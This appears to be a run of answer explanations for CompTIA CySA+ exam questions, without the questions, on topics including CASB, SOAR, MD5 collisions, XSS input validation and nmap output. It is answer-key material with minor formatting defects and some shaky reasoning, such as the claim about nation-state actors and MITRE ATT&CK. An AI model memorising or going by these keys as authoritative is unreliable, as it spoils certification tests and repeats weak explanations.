A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by nation-state actors. They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent, and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution.

In case of a phishing attack, it’s crucial to review what actions were taken by the employee and analyze the phishing email to understand its nature and impact.References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 246; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 255.

A CASB (Cloud Access Security Broker) is a security solution that acts as an intermediary between cloud users and cloud providers, and monitors and enforces security policies for cloud access and usage. A CASB can help organizations protect their data and applications in the cloud from unauthorized or malicious access, as well as comply with regulatory standards and best practices. A CASB can also provide visibility, control, and analytics for cloud activity, and identify and mitigate potential threats12

The other options are not correct. DMARC (Domain-based Message Authentication, Reporting and Conformance) is an email authentication protocol that helps email domain owners prevent spoofing and phishing attacks by verifying the sender’s identity and instructing the receiver how to handle unauthenticated messages34 SIEM (Security Information and Event Management) is a security solution that collects, aggregates, and analyzes log data from various sources across an organization’s network, such as applications, devices, servers, and users, and provides real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks56 PAM (Privileged Access Management) is a security solution that helps organizations manage and protect the access and permissions of users, accounts, processes, and systems that have elevated or administrative privileges. PAM can help prevent credential theft, data breaches, insider threats, and compliance violations by monitoring, detecting, and preventing unauthorized privileged access to critical resources78

SOAR stands for Security Orchestration, Automation and Response, which is a set of features that can help security teams manage, prioritize and respond to security incidents more efficiently and effectively. SOAR can help decrease the workload without increasing staff by automating repetitive tasks, streamlining workflows, integrating different tools and platforms, and providing actionable insights and recommendations. SOAR is also one of the current trends that CompTIA CySA+ covers in its exam objectives. Official References:

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://www.comptia.org/certifications/cybersecurity-analyst

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

The correct answer is B. Replace the current MD5 with SHA-256.

The vulnerability that the security analyst is able to exploit is a hash collision, which is a situation where two different files produce the same hash value. Hash collisions can allow an attacker to bypass the integrity or authentication checks that rely on hash values, and submit malicious files to the system. The web application uses MD5, which is a hashing algorithm that is known to be vulnerable to hash collisions. Therefore, the analyst should suggest replacing the current MD5 with SHA-256, which is a more secure and collision-resistant hashing algorithm.

The other options are not the best suggestions to mitigate the vulnerability with the fewest changes to the current script and infrastructure. Deploying a WAF (web application firewall) to the front of the application (A) may help protect the web application from some common attacks, but it may not prevent hash collisions or detect malicious files. Deploying an antivirus application on the hosting system © may help scan and remove malicious files from the system, but it may not prevent hash collisions or block malicious files from being submitted. Replacing the MD5 with digital signatures (D)may help verify the authenticity and integrity of the files, but it may require significant changes to the current script and infrastructure, as digital signatures involve public-key cryptography and certificate authorities.

The XML file containsJavaScript embedded within a <description> tagthat executes an alert message, which is a commonCross-Site Scripting (XSS)attack vector. The issue occurs becausethe XML schema does not restrict the input to safe characters, allowingarbitrary script executionwhen the XML file is processed by a vulnerable application.

Solution: Implement Input Validation Using an XML Schema Constraint

Option Benforces awhitelist approachby allowingonly alphanumeric characters and spaces([a-zA-Z 0-9]*).

This prevents the inclusion ofmalicious JavaScript or special characterssuch as <, >, or &, which are required for XSS injection​.

Why are the other options incorrect?

Option A: Restricts input to aSocial Security Number (SSN) format ([0-9]{3}-[0-9]{2}-[0-9]{4}). While it prevents JavaScript injection, it is too restrictive and would break legitimate text-based content in the XML.

Option C: Restricts input toonly numeric values ([0-9]*), preventing JavaScript injection but also breaking legitimate non-numeric content in the field.

Option D: Restricts input to asingle positive integer, which does not align with the expected text-based content.

Thus,Option Bis the correct answer, as it enforces proper input validation while still allowing expected text input​.

Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository.

The Diamond Model of Intrusion Analysis focuses on understanding the relationships between the adversary, their capabilities, infrastructure, and victim. It provides a structured approach to examining how attackers exploit information assets. According to CompTIA CySA+, this model is valuable for detailing attack patterns and understanding the infrastructure attackers use. The other options, like Structured Threat Information Expression (A) and OWASP Testing Guide (B), address threat data sharing and web application testing, respectively, while the Open Source Security Testing Methodology Manual (OSSTMM) (C) covers general security testing procedures.

A sandbox environment is a safe and isolated way to analyze malware without affecting the organization’s network. An online service can provide a sandbox environment without requiring the security analyst to set up a virtual host or use an RDP session. Disconnecting and using an existing infected asset is risky and may not provide accurate results. References: Malware Analysis: Steps & Examples, Dynamic Analysis

PID 2264 (bash running as root) is suspicious because:

It has elevated privileges (root user).

Bash (command-line shell) is running with high CPU usage (14.0%), which is unusual unless actively being used.

If unauthorized, an attacker could be exfiltrating data via command-line methods like scp, wget, or custom scripts.

Why Not Other Options?

B (34218 - Xorg) → Xorg is a display server for GUI; no signs of exfiltration.

C (34834 - Cinnamon) → Cinnamon is a desktop environment, not a threat.

D (35963 - xrdp) → xrdp is a remote desktop service, expected behavior.

The output shows that port 80 is open and running an HTTP service, indicating that the host could potentially be vulnerable to web-based attacks. The other options are not relevant for this purpose: the host is responsive to the ICMP request, as shown by the “Host is up” message; the host is not running a mail server, as there is no SMTP or POP3 service detected; the host is not allowing unsecured FTP connections, as there is no FTP service detected.References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition123, one of the objectives for the exam is to “use appropriate tools and methods to manage, prioritize and respond to attacks and vulnerabilities”. The book also covers the usage and syntax of nmap, a popular network scanning tool, in chapter 5. Specifically, it explains the meaning and function of each option in nmap, such as “-sV” for version detection2, page 195. Therefore, this is a reliable source to verify the answer to the question.

Data loss prevention (DLP) is a tool that can prevent the exposure of PII outside of an organization by monitoring, detecting, and blocking sensitive data in motion, in use, or at rest.